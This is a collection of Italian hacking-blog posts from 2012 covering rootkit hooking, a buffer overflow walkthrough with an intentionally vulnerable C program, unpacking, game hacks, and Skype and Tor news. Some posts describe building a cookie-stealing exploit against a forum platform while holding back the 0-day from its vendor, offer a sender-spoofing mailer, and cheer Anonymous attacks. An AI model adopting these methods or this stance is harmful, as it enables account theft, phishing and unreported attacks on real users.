-Richiamare l'API nativa e quindi avere, con i limiti dell'API stessa, i massimi privilegi sul sistema.

Come al solito, non posso dilungarmi troppo e spiegare tutto il procedimento di creazione di un rootkit qua in questo articolo, ma vi consiglio di scaricare questo interessantissimo PDF in italiano Rootkits.pdf e se volete qualcosa di più pratico, vi consiglio questo articolo: [Tutorial] Writing drivers to perform kernel-level SSDT hooking . . Poi consiglio per approfondimenti di cercare un po su google, anche se è necessaria la conoscenza dell'inglese
Se avete problemi a comprendere la guida che vi ho linkato, chiedete pure e cercherò, come sempre, di rendere la cosa un po più semplice, anche se penso che sia molto chiara.

Vorrei comunque accennarvi che con l'avvento della tecnologia a 64 bit non è più così semplice fare un rootkit che agisce tramite l'SSDT Hooking, perché la microsoft, si è resa conto che il suo kernel era un pò titubante e ha deciso di implementare una specie di sistema di sicurezza, che però ovviamente è vulnerabile ugualmente (solo la microsoft può farsi bucare in così poco tempo) cioè, la SSDT adesso è formata da un array di puntatori ottenuti dall'operazione: (Indirizzo Funzione Nativa - Indirizzo KiServiceTable) << 4
Questa "protezione" è bypassabile con un driver dove è implementato un algoritmo di analisi della KeSystemServiceStart.

Spero quindi di aver suscitato in voi un minimo di interesse in quello che è lo studio della sicurezza informatica, che come al solito alla fine, non può che trasformarsi, in un modo per studiare nuovi sistemi per attaccare il sistema.

A breve farò anche un'articolo quasi alla portata di tutti, che spiega come sfruttare la IAT Hooking su un programma per manipolarlo a nostro piacimento.
Intanto, buono studio

Exploit Cookie Grabbing Forumcommunity

2012-07-19T11:24:00.000+02:00

Dopo qualche settimana dalla scoperta dello 0-day che permetteva l'esecuzione del codice javascript illecito su piattaforme quali Forumcommunity e ForumFree, sono arrivato a sviluppare un exploit che permetterebbe all'attaccante di creare un forum che grabbi i cookie degli utenti che lo visitano.

Ho voluto fare questo articolo, come d'altronde anche il video, per avvertirvi di stare attenti a tutti i forum che ritenete sospetti, perché sotto la grafica accattivante, potrebbe nascondersi un cookie grabber perfettamente camuffato. Nel mio exploit ho messo semplicemente un redirect tramite la location.href e la document.cookie ad una pagina PHP che prende in GET i dati passati dalla piattaforma e li immagazzina in variabili che vengono in seguito inviate tramite la funzione Mail () a me.Ovviamente quando mi deciderò a trarre conclusioni delle potenzialità dell'exploit, lo segnalerò. Però tutto questo, dimostra come la sicurezza di questa piattaforma sia veramente precaria.

Non so quante persone siano a conoscenza di questo exploit, ma è sempre meglio stare attenti, non credete?

Ecco il video illusrativo:

API Hooking, reversing avanzato

2012-07-12T13:55:00.000+02:00

Vorrei come prima cosa, chiarire il concetto di User Mode e Kernel Mode, che può servire in tutti i campi informatici.
Chi ha studiato, come me, un minimo il funzionamento dei rootkits sa questa differenza molto bene, ma vediamo di rinfrescare la memoria. L'architettura X86, è nata nel 1985, e aveva un sistema di sicurezza basato su 4 anelli. Questi anelli, vengono tutt'ora definiti come "Ring 0/1/2/3" (proprio come gli array in C). Gli anelli permettono o vietano ai programmi determinate azioni, secondo i così detti "permessi". Un programma che opera in Ring 0, è un programma che opera in Kernel Mode, e ha i massimi privilegi possibili (ci sarebbe anche una specie di Ring -1, scoperto da un'esperta di sicurezza informatica che ha ufficializzato il suo rootkit chiamato "la pillola blu, o meglio "The blue pill". Questo livello viene inoltre usato dai programmi che permettono la virtualizzazione di un sistema operativo, come VirtualBox o VMWare) invece un programma che opera con un Ring 3 è un normale programma, ed opera in User Mode. Ci sarebbe molto altro da dire, ma lasciamo perdere per adesso, perché non centra con l'articolo.

Dopo questa premessa passiamo all'API Hooking che è un argomento che si divide appunto in user mode e kernel mode.
Questa tecnica è usata in due campi che possiamo definire simili e opposti allo stesso tempo, cioè il campo della programmazione e quello del reverse engineering.
Ma prima di vedere i due aspetti, vorrei introdurre il concetto: parlando di "hooking", intendiamo la capacità di intercettare l'esecuzione di una Call o di un Jump, al fine di monitorarli, oppure modificare l'applicativo.
Per quanto riguarda la programmazione, parliamo di hooking, ovviamente, per creare applicativi in grado di monitorare determinate funzioni, e questo ci è reso più semplice, grazie all'uso di determinate librerie quali "Hook API SDK" oppure "EasyHooking.dll" ecc...

Per quanto riguarda il campo del reverse engineering, ormai dovreste aver capito di cosa andremo a parlare, cioè la capacità di modificare una chiamata ad un API di una libreria esterna (sui file .dll o .os)
Per fare una cosa del genere, abbiamo tante strade e tra le più usate e più intuibili, ci sono queste:

-Cambiare l'address della Call/Jmp

Questa tecnica però richiede che i campi della Call/Jmp originale, siano uguali a quelli dell'API a cui redirecteremo la Call/Jmp

-Modificare le IAT (Import Address Tables)

Tutte le informazione su questo sono reperibili nella guida di Jeffrey Richer: "Advanced Windows", comunque sia, non so bene quando, farò un articolo specifico su questo.

-Alterare le dll sulla quale l'applicativo appoggia.

Questa tecnica si può definire come una tecnica di MITM, cioè, se l'applicativo appoggia sulla dll "kernel32.dll", noi andremo a modificare l'applicativo in modo che vada a finire su una nostra dll, chiamata ad esempio "dummy.dll", la quale eseguirà la sua Call e rimanderà alla kernel32, come illustrato in figura:

-Alterare l'SSDT (System Service Descriptor Table)

parliamo di SSDT Hooking e parliamo di un hooking in kernel-mode. Una cosa completamente diversa e molto più difficile.

Come avrete notato, non posso dilungarmi perché dovrei scrivere un pdf intero, ma sul web è presente una vasta gamma di guide e illustrazioni (tutte in inglese), per capire meglio ogni singola tecnica di quelle accennate.

Sicuramente una buona illustrazione italiana, molto semplice ed intuitiva sull'API Hooking, usato per il reverse engineering, è questa: API Hooking in User-Mode, programmazione in Delphi

L'API Hooking (come l'SSDT Hooking) in kernel-mode è sicuramente stata una delle più usate tecniche per la creazione di rootkits, perché è di facile comprensione e soprattutto perché il web è pieno zeppo di sorgenti che illustrano bene il suo sfruttamento, ma è da qualche tempo che le misure di sicurezza contro questa tecnica sono diventate veramente tante, grazie agli sviluppatori che hanno creato vari software anti-rootkit, quindi non c'è da preoccuparsi. Come ho accennato prima, adesso c'è il sistema del "ring -1" (è abbastanza scorretto definirlo così,ma lo faccio per comodità), che però è un metodo a cui sono a conoscenza solo esperti di sicurezza informatica a livello mondiale.

Prossimamente, farò una guida più pratica e specifica sull'API Hooking in User Mode, dove illustrerò in modo pratico come effettuare l'hooking di una MsgBox in un programma.

AnonITA, rivoluzione nel sistema di comunicazione

2012-07-05T12:24:00.000+02:00

Vorrei darvi una notizia di quelle che non si leggono sui giornali o sui siti di web news: Anonymous ITA si sposta, e rivoluziona l'organizzazione delle operazione tramite un nuovo portale ServerLess.
Sarà come vivere in un vero e proprio forum, e ogni utente avrà una reputazione, che potrà essere modificata dagli altri utenti.

Il perché di questo cambiamento sono state proprio le critiche, che io stesso condividevo pienamente, sull'organizzazione dell'attacco al sito "beppegrillo.it" e, a parer mio, non solo di quest'ultimo.
Questo era sicuramente il più grande pronblema di AnonOps, che però veniva visto dagli utenti come un punto di forza, cioè l'ACCESSIBILITA' A TUTTI.
Questo, aveva comunque i lati negativi e positivi, da un lato c'era appunto l'organizzazione, che era veramente troppo precaria, mentre dall'altro, il fatto che chiunque poteva entrare e dare una mano.
Visto che la forza di Anonymous è fondata su questo, non è cambiato, ma sono riusciti lo stesso a migliorare l'organizzazione delle operazioni.

Speriamo che riusciremo, tutti insieme, a perseguire degli obbiettivi comuni, in questo momento di grande crisi che pesa come un macigno a livello psicologico e non.
Ribadisco che Anonymous resta APERTA A TUTTI. Se vuoi, tu PUOI FAR SENTIRE LA TUA VOCE.

We are Legion.
We do not forget.
We do not forgive
Expect Us.

Buffer Overflow, analisi di un programma buggato su windows.

2012-06-28T10:44:00.001+02:00

Senza andare a scrivere un PDF intero, vorrei cercare di far capire, in modo molto pratico, in cosa consiste il buffer overflow, andando ad analizzare un programma buggato e creato ad HOC in C, per questo scopo.

L'obbiettivo di questo articolo è SPIEGARE NEL MODO PIU' SEMPLICE POSSIBILE questa tecnica, che ad occhi inesperti può sembrare abbastanza ostica.

I requisiti sono una conoscenza basilare del C e un po di manualità con l'analisi di un software (cosa che, se avete seguito il mio blog nelle mie guide sul reversing, avrete).
Andremo quindi a exploitare un nostro sorgente e lo analizzeremo durante il buffer overflow. Andremo quindi a vedere come sfruttare il bug e infine come toglierlo.

Veniamo subito al dunque andando a creare il nostro programma buggato:

Code:

#include <string.h>
#include <stdio.h>
void func_bugged (char input) {*
char loal[5];
strcpy (loal, input);
}
int main () {
char asd[100];
printf ("Inserisci una parola -> ");
scanf ("%s", &asd);
func_bugged (asd);
}

Bene, adesso compilatelo con il vostro compilatore, ed analizziamolo un secondo guardo il source; viene chiesto all'utente di inserire una parola e questa viene data alla variabile "asd", che a sua volta viene data alla funzione buggata che copia, tramite la "strcpy" questa nella variabile char "loal", che ha un buffer di 5 caratteri. Può sembrare un errore ridicolo, ma un programmatore inesperto che si trova davanti a centinaia, se non migliaia di righe di codice, può benissimo commetterlo; inoltre, l'errore spesso è commesso quando si inizializzano buffer anche molto più grandi.

Passiamo quindi all'analisi del codice tramite il nostro buon OllyDBG.
Come prima cosa, mettiamo il breackpoint sulla strcpy, così possiamo vedere, una volta elaborata la call, cosa succede nei registri, se andiamo a superare il buffer (overflow).
Quindi inseriamo, quando il programma ce lo chiede, una stringa, ad esempio io ho messo "wsasdLK".
Olly, breckerà, e proseguiamo di uno step per vedere che cosa è successo, premendo F8.
Guardate adesso i registri, a me risultano così:

Adesso vi invito a guardare con attenzione il registro EDX, che ha come valore 004B4C64, che sembra un indirizzo molto insolito, ma in realtà non è altro che la versione esadecimale dei caratteri ascii "dLK", come sempre, capovolti rispetto all'hex view.

Infatti:

1- "d" = 100 decimale = 64h.

2- "L" = 76 decimale = 4Ch.

3- "K" = 75 decimale = 4Bh.

ECX = 004B4C64

Come avete visto, tramite questa tecnica riusciamo a modificare la memoria. Per la fortuna del nabbissimo programmatore che ha fatto questo sorgente (io...LOL), la vulnerabilità, in questo programma, non è sfruttabile, in quanto il registro EDX viene, poco dopo, sostituito con un indirizzo tramite l'istruzione MOV, e comunque il programma termina, ma in programmi dove dopo la funzione buggata ce ne sono altre, il registro manipolato, può essere di grande importanza e la sua modifica può permettere all'attaccante una code injection a volte disastrosa.
Ad esempio se ci fosse stata una "Call ECX", avendo il controllo sulla IAT e sul registro avremmo potuto modificare l'intero flusso del programma, senza andare a toccare nulla a livello di codice...fantastico no?? LOL...

Se siete arrivati a questo punto, comprendendo bene ogni singolo punto della guida, dovreste riuscire ad intuire il come togliere nel programma, la vulnerabilità; comunque sia, lo dico per chi pensa che ci vogliano chissà quali righe di codice, basta un:

if (strlen(asd)>= 5) {

printf("Loal, tentato BoF");

}

Spero che in questa guida, molto approssimativa e concisa, io sia riuscito a farvi comprendere il funzionamento generale del buffer overflow. Per approfondimenti, vi rimando alla vasta mole di materiale che è presente sul web, buono studio.

[PDF]Come si crea un Hack in AutoIT

2012-06-21T12:56:00.001+02:00

Ho deciso di fare una specie di continuazione al precedente PDF, nel quale spiegavo un bel pò della parte teorica sulla creazione di un Hack.

Il motivo di questo PDF è stato proprio il fatto che la precedente guida non dava l'autonomia necessaria per fare un hack, senza essersi andati a vedere prima altre cose più specifiche.
Inoltre, ho notato che non era stata ancora fatta da nessuno una vera guida sulla creazione degli hack mediante l'AutoIT

Ho scelto proprio l'autoIT perché tra questo e il VB, sia sotto l'aspetto della "programmazione" sia sotto l'aspetto della creazione degli hack, l'ho sempre preferito, per scelta personale (senza creare dibattiti, ognuno ha i suoi gusti).

Spero che con questo PDF, si riesca a completare un quadro abbastanza buono per iniziare a creare hack in completa autonomia, e spero che abbia il successo che ha avuto la prima parte.
Vi chiedo gentilmente di avvisarmi tramite email se ci dovessero essere errori gravi a livello concettuale, anche se non penso.

Inoltre, nell'archivio ho messo:

-La guida in PDF (-.-)
-La video-guida per trovare un puntatore statico, di SpeedJack
-Il mio "hack": Spider Score Editor
-L'UDF di Nomad, la NomadMemory

Non mi resta che augurarvi una buona lettura...

Download: [PDF]Come si crea un Hack in AutoIT.rar

Manual Unpacking, il gradino indispensabile

2012-06-14T20:38:00.003+02:00

Parlando di reverse engineering non si può non parlare dello scalino forse più difficile da sorpassare prima di potersi definire effettivamente un buon reverser e abbandonare definitivamente il mondo del newbie.
Questo gradino è il manual unpacking, di cui forse per vari scopi avrete già sentito.

Dovete sapere che la maggior parte dei software commerciali sia di alto che di basso livello sono dotati di protezioni, che servono proprio per impedire il reverse engineering e prendono il nome di "packer". Questi vanno a modificare il codice del programma in vari modi che cambiano a seconda del packer che si usa.
Il più delle volte il packer crea un code-cave nel programma nel quale poi scriverà un algoritmo per criptare o packare il programma. Prima di andare troppo a fondo nell'argomento, dovete sapere 2 termini che in questo ambito sono indispensabili: "l'EntryPoint" (EP) e "l'Original EntryPoint"(OEP). Il primo è, come è facile intuire, l'inizio vero e proprio del programma, cioè la prima parte di codice che viene scritta in memoria ed elaborata. Il secondo invece, è un termine che si usa riferendosi a programmi packati per indicare il vero EntryPoint, cioè il punto di inizio del programma il quale essendo packato non è uguale all'EP (proprio perché il packer crea il code-cave all'inizio del programma per criptare l'intero programma prima di farlo elaborare).

Quindi in un programma packato OEP != EP, mentre in un programma non packato EP == OEP, questo dovrebbe essere abbastanza chiaro.
Benissimo, chiarito questo concetto potete capire, all'incirca, cosa fa il più delle volte un packer. Solitamente questo, va a scrivere un algoritmo di criptazione che si sostituisce all'EP originale del programma filtrando ogni parte del programma tramite appunto questo codice (abbiamo già visto lo XOR ENCODER che serviva per eludere VirusTotal).

Fino a qui non dovreste aver problemi a capire, ma la parte più difficile (più da fare che da capire) è il dump del programma, cioè l'estrazione del codice del packer dal programma. Per fare un dump abbiamo a disposizione vari programmi, ma per le prime volte io consiglio di usare OllyDump, il quale è un semplice ed intuitivo plug-in per OllyDBG. Una volta fatto il dump del programma arriva l'ultima cosa da fare, cioè la ricostruzione delle import, che è la parte più semplice perché ci viene in aiuto il miglior programma per questo genere di cose cioè ImpRec (illustrato nell'immagine).

Quindi riassumendo il manual unpacking si divide in 3 parti:

1-Comprensione del funzionamento del packer
2-Individuazione dell'OEP
3-Dump del programma
4-Ricostruzione delle Import

Ovviamente, come ho già detto, l'intenzione di questo articolo non era darvi istruzioni dettagliate sul manual unpacking, perché per farlo ci vorrebbero un bel PDF corposo, ma, come cerco di fare sempre, era di intrudurvi in questo argomento, illustrndovelo approssimativamente.

Consiglio di leggere principalmente questa guida: Manual Unpacking UIC, dove vengono introdotte bene le basi (il PE e la sua analisi) e le varie tecniche anti-debugging, e dove viene data una strada un po più concreta da seguire per unpackare un programma.

Infine consiglio di andarvi a vedere qualche tutorial sempre della UIC sul manual unpacking di alcuni CrackMes, prima di passare a provare un UnpackMe vero e proprio senza nessun aiuto. Buona fortuna...

0-day forumcommunity, JS illecito reso possibile

2012-06-07T22:43:00.001+02:00

Poco tempo fa, vidi su un forum un post, dove un ragazzo di 16 anni scriveva di aver scoperto un exploit per forumcommunity/forumfree, i quali sono due delle più frequentate community per la creazione facile e veloce di forum, e come al solito il mio primo pensiero fu: "il solito lamerino che vuol farsi belloccio dicendo cagate...", così chiesi in modo arrogante se poteva aggiungermi su skype per farmi vedere questo exploit, del quale, ovviamente, dubitavo al 100%; ebbene, mi sbagliavo alla grande.
Il suddetto exploit permetteva di eseguire codice javascript non permesso da forumcommunity, come l'uso di un Iframe oppure la classica chiamata al document.cookie, e vidi con i miei stessi occhi, increduli, che FC grabbava come una cagna arrapata (WTF?? Roba da nerd)...
Così mi mostrò il suo forum e da lì, gli snocciolai l'exploit passo dopo passo finchè non riuscii proprio qualche sera fa a finirlo anche su un mio forum creato ad hoc...

Non mi ritengo creatore di questo 0-day, ma sono felice perchè finalmente le mie conoscenze sono bastate per trovare un bug in una grande community.
Per adesso non ho intenzione di segnalare il bug, forse perché, nella mia immaturità morale, lo considero quasi un tesoro personale, intanto voglio continuare a provare per vedere fino a che punto questo bug si possa espandere, e probabilmente quando sarò arrivato a delle conclusioni concrete segnalerò il bug.
Comunque sia, ho postato lo screen del forum su cui l'ho provato, il quale ovviamente ho cancellato, per mostrarvi che non dico cazzate.

Vorrei, con suo consenso, dire esplicitamente, che il suo nick è huggye e ne approfitto per ringraziarlo molto...

Scrivo comunque questo articolo, perché sono rimasto abbastanza deluso dalla sicurezza di forumcommunity, che non filtra i codici che riceve, e per avvertirvi di stare attenti, perché tramite questo bug, siamo riusciti anche a immettere un fake-login nella pagina.
Per sicurezza, quindi, controllate sempre se avete effettivamente fatto il log-out o è solo la pagina che "fa finta che voi noi siate loggati".

A presto...

FakeMailer ~ BlackHack [With Source]

2012-05-24T09:30:00.000+02:00

Con questo piccolo script, voglio inaugurare una nuova "sezione", nella quale metterò tutti i miei programmi/script, che penso possano esservi utili sia a scopo didattico, sia per il loro vero scopo.

Questo script in particolare serve, come è facile intuire, a mandare mail con mittente falso.
Probabilmente dall'immagine avrete notato che bisogna impostare le proprie credenziali FTP perché lo script, a differenza di molti altri fake-mailer, non usa il protocollo SMTP per inviare la mail, ma crea un file php che uppa sul server FTP e infine lo apre con IE (quindi è necessario avere almeno IE installato sul computer, anche se penso che ce lo abbiate tutti).
Questo metodo può sembrare da pazzi, ma serve semplicemente perché con l'SMTP non c'è la possibilità di usare codici html nelle mail, mentre così si può. Infatti potrete usare tutte le funzioni dell'html per "abbellire" le vostre mail.

Spero possa servire a qualcuno. A me serve molto spesso...

Download & Source: FakeMailer ~ BlackHack

Scandalo privacy, Skype rivela indirizzi IP degli utenti

2012-05-17T17:19:00.004+02:00

A quanto pare inizia l'era dell'insicurezza di skype, anche se forse il peggio è già passato...
Il più usato dei software di comunicazione tramite il nuovo protocollo VoIP, è stato hackerato da un gruppo sconosciuto, che ha pubblicato online uno script che ritornava esattamente tutti gli IP dei contatti, del nostro account, che erano, in quel momento, ocollegati.
Questo è un vero e proprio scandalo per la sicurezza di skype, che fino ad ora aveva mantenuto un buon livello di privacy.

Questo anonimo gruppo di hacker, a quanto pare, avrebbe chiamato circa 10.000 persone ogni ora per due settimane, immagazzinando informazioni, quali posizione geografica (facilmente ottenibile grazie ai servizi di geolocalizzazione dell'IP), provider ecc...
Per fortuna, lo script al momento è fuori uso, grazie al pronto intervento degli esperti di sicurezza del software i quali si sono subito attivati per ovviare a questo brutto bug.
Quello che ancor più spaventa è il fatto che per 1 settimana circa lo script è stato lasciato libero ed accessibile a tutti i "mal intenzionati" a QUESTO indirizzo web il quale dopo poco è stato denunciato e messo a tacere.

E' quindi messa a rischio la nostra privacy ovunque, e questo, lo ha confermato; il buon vecchio detto ha avuto di nuovo ragione: "Il computer più sicuro, è il computer spento".

Cat 2012 il 12 maggio a Genova

2012-05-10T11:59:00.001+02:00

Non potevo non parlarvene, anche quest'anno il CAT (cracca al tesoro) si è stanziato in un posto diverso, quest'anno Genova, e visto che la data coincide con quella del MARC perché non unirli?
Infatti gli organizzatori non hanno perso l'occasione, facendo il "gioco" proprio all'interno della fiera dell'informatica genovese.
Invito quindi chi può, a farci un salto, perché è sicuramente un'occasione da non perdere e anche una buona occasione per farsi un giretto alla fiera e comprare qualche cartuccia per la stampante.
Nel caso voleste andarci, consiglio vivamente di guardare qualche informazione in più sul sito ufficiale: http://www.wardriving.it
Buon CAT 2012 e che vinca il migliore...

Tor adesso anche su iphone

2012-04-29T22:36:00.002+02:00

Grande notizia per gli amanti dell'anonimato e per i possessori di device apple quali iphone, ipod e ipad, perché Tor e il suo browser sbarcano anche su IOS 5.
Dotata di una buona e semplice interfaccia grafica resta il top del top nell'anonimato sul web e sicuramente in un mondo dove i computer stanno sempre di più lasciando spazio, a device più piccoli, è fondamentale aver un buon punto di riferimento per l'anonimato nella così detta "navigazione a portata di mano".

E' dotata, inoltre, di un apposita funzione di UA (user agent) spoofing, molto buona sotto vari punti di vista.
Creata da Michael Tigas, è uscita il 24/4/12 e ha dimensione di 3.6 MB. Il suo costo è di 0.79 €.

Nella descrizione dell'app, viene esplicitamente detto che alcuni bug verranno risolti a breve nella versione 1.1.1 e che per il momento, è accessibile solo a chi ha compiuto i 17 anni. Inoltre il creatore ha specificato che ovviamente la rete tor non andrà allo stesso passo dei browser normali, ma questo si è sempre saputo; a volte la prudenza comprende anche un po di sbattimento in più.

La potete trovare tranquillamente QUA, o meglio nell'app store, digitando semplicemente "Onion browser". Vi terrò aggiornati e posterò appena sarà messa online, la IPA di quest'app, anche se vi inviterei a comprarla, in quanto è stato detto che il 10% del ricavato sarà impiegato per finanziare il Tor Project.